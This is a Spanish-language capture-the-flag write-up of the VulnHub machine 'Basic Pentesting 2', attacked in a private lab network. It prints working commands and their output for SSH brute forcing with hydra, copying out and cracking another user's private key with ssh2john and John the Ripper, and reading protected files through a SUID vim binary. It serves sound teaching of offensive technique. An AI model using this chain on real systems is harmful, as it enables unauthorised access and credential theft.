Ciberseguridad: Atacando la máquina Basic Pentesting 2

Introducción

El año pasado escribí mi primer «write-up» sobre la máquina «Basic Pentesting 1». En esta entrada continuamos con el análisis de máquinas de la plataforma VulnHub, centrándonos en Basic Pentesting 2. Se trata de una máquina orientada a practicar un flujo clásico de pentesting sobre Linux: enumeración de servicios, obtención de credenciales mediante errores de configuración, escalada de privilegios y persistencia.

En este contexto, el objetivo no es únicamente obtener una escalada de privilegios, sino entender cómo pequeñas decisiones incorrectas, como por ejemplo contraseñas débiles, permisos mal asignados o binarios innecesariamente privilegiados, pueden encadenarse hasta comprometer completamente un sistema.

Entorno de pruebas

Para este laboratorio he seguido trabajando con VMWare. He utilizado dos máquinas virtuales dentro de una red NAT interna, lo que permite que ambas puedan comunicarse directamente entre sí, simulando un entorno controlado de red local:

• Máquina atacante: Kali Linux (192.168.40.137).
• Máquina objetivo: Basic-pentesting-2 (192.168.40.5).

Herramientas empleadas en el proceso de pentesting

A lo largo del proceso de pentesting se han utilizado diversas herramientas orientadas a las distintas fases del ataque, desde la enumeración inicial hasta la escalada de privilegios y persistencia. Han sido las siguientes:

• nmap
• GoBuster
• Nikto
• Enum4Linux
• Hydra
• John the Ripper
• ssh2john

Reconocimiento y enumeración inicial en pentesting

Tras identificar la IP de la máquina objetivo, el primer paso en cualquier proceso de pentesting es realizar un reconocimiento de los servicios expuestos utilizando nmap:

El escaneo inicial revela, entre otros, los siguientes servicios relevantes:

• Servidor web Apache en el puerto 80.
• SSH en el puerto 22.
• Tomcat en el puerto 8080.
• Servicio Samba (SMB).

Con esta información, el siguiente paso lógico es profundizar en la enumeración de los servicios web y del servicio SMB.

Enumeración web para pentesting

La enumeración web es una de las fases críticas dentro de un proceso de pentesting o auditoría de seguridad. Consiste identificar, listar y analizar los recursos, aplicaciones y configuraciones visibles de un servidor web.

A diferencia del escaneo de puertos (que solo indica qué puertas están abiertas), la enumeración busca entender qué hay detrás de ellas: directorios ocultos, versiones del servidor, parámetros de formularios, archivos de configuración y puntos de entrada potenciales. Es, en esencia, dibujar el mapa detallado del terreno antes de intentar cualquier acción ofensiva.

Enumeración del puerto 80

Al acceder al servicio HTTP principal, la página index no muestra contenido de interés. Es una página HTML con el título «Undergoing maintenance» y un párrafo que dice «Please check back later«. En este punto resulta razonable enumerar rutas accesibles en el servidor mediante fuerza bruta de directorios. Para ello se utiliza gobuster con un diccionario estándar:

gobuster dir -u http://192.168.40.5 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.40.5
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/development          (Status: 301) [Size: 318] [--> http://192.168.40.5/development/]
/server-status        (Status: 403) [Size: 300]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

El escaneo revela los siguientes directorios:

• /development
• /server-status

Dado que /development devuelve contenido accesible, se convierte en el foco principal. Se prueba además con otros diccionarios para descartar rutas adicionales, sin encontrar información relevante nueva.

Como comentario adicional, cabe destacar que este mismo proceso se podría haber hecho con Nikto:

nikto -h 192.168.1.132

Enumeración del puerto 8080

La presencia de Tomcat en el puerto 8080 justifica una enumeración independiente. En este comando se observa como se ha utilizado un diccionario alternativo más grande:

gobuster dir -u http://192.168.40.5:8080 -w /usr/share/wordlists/dirb/big.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.40.5:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs                 (Status: 302) [Size: 0] [--> /docs/]
/examples             (Status: 302) [Size: 0] [--> /examples/]
/favicon.ico          (Status: 200) [Size: 21630]
/manager              (Status: 302) [Size: 0] [--> /manager/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

Los resultados muestran rutas típicas de una instalación por defecto:

• /docs
• /examples
• /manager

Aunque el panel de gestión está presente, en este escenario no será el vector principal de ataque, pero confirma una superficie de exposición mayor de la necesaria.

Análisis del directorio /development

En la enumeración se ha encontrado el directorio /development. Al acceder a esta carpeta se encuentran dos ficheros de texto: j.txt y dev.txt.

Análisis de j.txt

El contenido consiste en un mensaje firmado por un usuario identificado como K, dirigido a J:

For J:

I’ve been auditing the contents of /etc/shadow to make sure we don’t have any weak credentials, and I was able to crack your hash really easily. You know our password policy, so please follow it? Change that password ASAP.

-K

Este mensaje aporta dos pistas clave:

1. Existen al menos dos usuarios locales.
2. Al menos una de las contraseñas es débil, y ya ha sido comprometida previamente.

Análisis de dev.txt

El segundo fichero contiene un pequeño registro de cambios del sistema. Se cita a continuación:

2018-04-23: I’ve been messing with that struts stuff, and it’s pretty cool! I think it might be neat to host that on this server too. Haven’t made any real web apps yet, but I have tried that example you get to show off how it works (and it’s the REST version of the example!). Oh, and right now I’m using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J

Se trata de una conversación ente J y K en la que comentan cambios en el sistema. Entre la información más relevante destacan:

• Uso de Apache Struts, versión 2.5.12
• Configuración de SMB
• Instalación de Apache

Aunque Apache Struts no se explota en este escenario, la información proporciona contexto técnico valioso y confirma la exposición de Samba, que será clave en la siguiente fase.

Enumeración de Samba durante el pentesting

Con el servicio Samba confirmado, se utiliza enum4linux para enumerar usuarios del sistema. Su objetivo principal es automatizar la extracción de información de equipos que utilizan el protocolo SMB (Server Message Block), permitiendo obtener una visión detallada de la configuración del sistema objetivo sin necesidad de autenticación previa o utilizando credenciales de bajo privilegio.

enum4linux 192.168.40.5

Entre la información que nos da esta utilidad, aparecen los siguientes nombres de usuario:

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                                                                                 
S-1-22-1-1000 Unix User\kay (Local User)                                                                                                                                                                                                    
S-1-22-1-1001 Unix User\jan (Local User)

Esto se corresponde con los mensajes anteriores, los cuales estaban firmados por K y J. Según Kay, la contraseña de Jan es insegura, por lo que hacer un ataque por fuerza bruta podría ser una buena idea.

Ataque de fuerza bruta sobre SSH en pentesting

Desde el punto de vista del pentesting, el hecho de conocer usuarios válidos y sospechar contraseñas débiles justifica probar un ataque de fuerza bruta controlado. Dado que se sabe que la contraseña de Jan es débil y que el servicio SSH está activo, se decide ir por este camino utilizando la herramienta hydra:

hydra -l jan -P /usr/share/wordlists/rockyou.txt 192.168.40.5 ssh                                                                                                                                                                  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-11 12:18:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://192.168.40.5:22/
[STATUS] 324.00 tries/min, 324 tries in 00:01h, 14344076 to do in 737:52h, 14 active
[22][ssh] host: 192.168.40.5   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 6 final worker threads did not complete until end.
[ERROR] 6 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-11 12:21:30

La contraseña de jan es “armando”. Con estas credenciales ya es posible acceder al sistema mediante SSH como usuario jan.

Persistencia y acceso lateral mediante claves SSH

Kay ya le ha dado el aviso a Jan de que debe cambiar su contraseña. Hay que conseguir alguna forma de persistencia a la máquina, para que en caso de que la contraseña cambie hacia otra más robusta, sigamos teniendo acceso.

Para ello accedemos a la máquina mediante SSH con las credenciales de jan. Una vez dentro del sistema, se revisan los directorios de otros usuarios.

jan@basic2:~$ ls -la ../kay/.ssh/
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23  2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub

En el directorio .ssh del usuario kay se descubre una clave privada SSH sin protección por permisos, aunque sí que está protegida mediante una contraseña, por lo que si intenamos loguearnos con su usuario y clave privada, no podemos.

jan@basic2:~$ ssh -i ../kay/.ssh/id_rsa kay@localhost
Could not create directory '/home/jan/.ssh'.
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key '../kay/.ssh/id_rsa':

Este impedimento nos abre la posibilidad de romper la clave privada fuera del sistema.

Crackeo de la clave privada de Kay

Aunque la clave está protegida por passphrase, el simple hecho de que sea legible por otro usuario ya supone un fallo de seguridad relevante. Esto abre la posibilidad de atacar la clave fuera del sistema objetivo.

Copia de la clave privada a la máquina atacante

Desde la máquina atacante se copia la clave privada utilizando scp, autenticándose como jan:

scp jan@192.168.40.5:/home/kay/.ssh/id_rsa ~/Documents/escenario2/kay

Esta acción confirma que los permisos del fichero permiten su exfiltración sin necesidad de privilegios elevados.

Ataque a la passphrase con John the Ripper

Una vez copiada la clave privada a la máquina atacante, se convierte a un formato compatible con John the Ripper utilizando ssh2john:

python3 /usr/share/john/ssh2john.py kay > ~/Documents/escenario2/kay.hash

Esta herramienta sólo analiza la clave privada y extrae la parte que contiene el algoritmo de cifrado y el «hash» de la contraseña. Luego, convierte esa información en una línea de texto con un formato que John the Ripper (o incluso Hashcat) pueda entender.

A continuación, se lanza un ataque por diccionario con John the Ripper empleando rockyou.txt.

john --wordlist=/usr/share/wordlists/rockyou.txt ~/Documents/escenario2/kay.hash

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (/home/osboxes/Documents/escenario2/kay)     
1g 0:00:00:00 DONE (2025-08-12 01:40) 25.00g/s 2068Kp/s 2068Kc/s 2068KC/s binkey..bambino1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

El ataque tiene éxito, revelando la passphrase de la clave privada: beeswax

Acceso como kay por SSH

Con esta información ya es posible autenticarse como kay mediante clave SSH, sin necesidad de conocer su contraseña de usuario. Hay que tener en cuenta que el cliente SSH realiza una comprobación estricta de permisos sobre el fichero que contiene la clave privada. Si los permisos no son lo suficientemente restrictivos, la autenticación fallará automáticamente, incluso aunque la clave y la passphrase sean correctas. Para cambiar estos permisos, se usa el siguiente comando:

chmod 600 ~/Documents/escenario2/kay

Ahora sólo tenemos que ejecutar el siguiente comando e introducir la contraseña cuando nos la solicite:

ssh -i ~/Documents/escenario2/kay kay@192.168.40.5

De este modo, conseguimos entrar en la cuenta de Kay, que tiene privilegios de sudoer. La prueba a continuación:

kay@basic2:~$ pwd
/home/kay
kay@basic2:~$ ls -lias
total 48
786930 4 drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
655362 4 drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
793456 4 -rw------- 1 kay  kay   765 Aug 11 10:14 .bash_history
793583 4 -rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
792902 4 -rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
793590 4 drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
786444 4 -rw------- 1 root kay   119 Apr 23  2018 .lesshst
798919 4 drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
798920 4 -rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
792307 4 -rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
798691 4 drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
793592 0 -rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
798922 4 -rw------- 1 root kay   538 Apr 23  2018 .viminfo

Obtención de la contraseña de kay (post-explotación)

Antes se ha mencionado un fichero llamado pass.bak en el directorio de usuario de kay. Ahora que estamos logueados, podemos verlo (aunque antes también había un truco). Vamos a ver el contenido del fichero:

kay@basic2:~$ cat pass.bak 
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

¡Hemos descubierto la contraseña «supersegura» de kay!

Escalada alternativa mediante abuso de binarios SUID (post-explotación)

Continuamos con la post-explotación, pero esta vez desde el usuario jan. Este usuario ya lo hemos usado para obtener ficheros y romper la contraseña de la clave privada de kay, lo que demuestra el peligro de no proteger bien las claves privadas con sus permisos de lectura y lo que una contraseña débil puede hacer. Ahora lo que se pretende demostrar es que la contraseña de usuario de kay era visible también desde el usuario jan.

Sabemos que pass.bak sólo se puede abrir con permiso de sudo, tal y como tiene kay, pero… ¿Quién más es sudoer? ¡Vamos a descubrirlo!

find / -perm -4000 -type f 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/vim.basic
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/passwd
/bin/su
/bin/ntfs-3g
/bin/ping6
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping

Resulta que el editor de texto Vim es sudoer. Que este programa tenga el bit SUID activo constituye un fallo de seguridad grave, ya que permite ejecutar el editor con privilegios elevados independientemente del usuario que lo invoque.

Abuso de vim para lectura de credenciales

Desde la cuenta de jan, el fichero que contiene la contraseña del usuario kay no es accesible utilizando herramientas estándar. Si lo tratamos de ver con cat o con nano obtendremos un mensaje de «permiso denegado». Sin embargo, al abrir el fichero mediante vim, el comportamiento es distinto:

vim ../kay/pass.bak

Esto se debe a que vim.basic se ejecuta con privilegios heredados de su propietario, lo que permite el acceso a archivos que, en condiciones normales, deberían estar protegidos por el sistema de permisos. Como hemos visto antes, el fichero pass.bak contiene la contraseña de kay almacenada en texto plano, por lo que con vim es totalmente visible.

Con esta información, es posible autenticarse directamente como kay utilizando su contraseña de usuario, sin necesidad de fuerza bruta.

¿Por qué este método no es persistente?

Aunque esta técnica permite una escalada inmediata y efectiva, no se considera un mecanismo de persistencia. En el momento en que alguien detecte que vim tiene privilegios, estos podrían desaparecer, y si kay decide cambiar de contraseña, ya no tendremos acceso a la máquina. Es por eso que se decidió anteriormente romper la contraseña de la clave privada.

Ante una reacción defensiva mínima, como el cambio de contraseña de kay o la corrección de permisos en vim, este vector deja de ser válido. Sin embargo, comprometer la clave privada SSH de kay, proporciona persistencia real y mantiene el acceso incluso tras un cambio de contraseña, siempre que la clave no sea revocada.

Capturando la bandera

Una vez obtenido acceso como el usuario kay, que pertenece al grupo de sudoers, el siguiente paso consiste en comprobar si es posible acceder al directorio /root, reservado exclusivamente para el usuario administrador.

Al intentar listar su contenido directamente, el acceso es denegado, como cabría esperar en un sistema correctamente configurado:

kay@basic2:~$ ls /root
ls: cannot open directory '/root': Permission denied

Sin embargo, al ejecutar el mismo comando con privilegios elevados mediante sudo es posible acceder:

kay@basic2:~$ sudo ls /root
flag.txt

El contenido de la bandera

¡Hemos encontrado la bandera! Como hemos conseguido elevar privilegios, el último paso en este ejercicio de pentesting es leerla:

kay@basic2:~$ sudo cat /root/flag.txt

Congratulations! You’ve completed this challenge. There are two ways (that I’m aware of) to gain a shell, and two ways to privesc. I encourage you to find them all!

If you’re in the target audience (newcomers to pentesting), I hope you learned something. A few takeaways from this challenge should be that every little bit of information you can find can be valuable, but sometimes you’ll need to find several different pieces of information and combine them to make them useful. Enumeration is key! Also, sometimes it’s not as easy as just finding an obviously outdated, vulnerable service right away with a port scan (unlike the first entry in this series). Usually you’ll have to dig deeper to find things that aren’t as obvious, and therefore might’ve been overlooked by administrators.

Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you’ll send me a link! I can be reached at josiah@vt.edu. If you’ve got questions or feedback, please reach out to me.

Happy hacking!

Conclusiones del pentesting

Basic Pentesting 2 es una máquina sencilla en apariencia, pero muy efectiva desde el punto de vista formativo. A través de una cadena de fallos relativamente comunes, (contraseñas débiles, exposición de servicios innecesarios, permisos incorrectos y binarios SUID mal configurados), es posible comprometer por completo el sistema.

Más allá de la obtención de acceso root, esta máquina permite profundizar en conceptos de pentesting que suelen pasarse por alto en análisis más superficiales. El uso de técnicas como el crackeo de claves privadas SSH, frente a la simple lectura de contraseñas en texto claro, refuerza la diferencia entre un acceso puntual y un acceso persistente, y ayuda a asentar criterios más sólidos a la hora de evaluar el impacto real de una vulnerabilidad.

En última instancia, el ejercicio subraya una idea fundamental: la seguridad rara vez falla por un único error crítico, sino por la acumulación de pequeños descuidos que, cuando se encadenan, permiten ir mucho más allá de lo inicialmente previsto.

Galería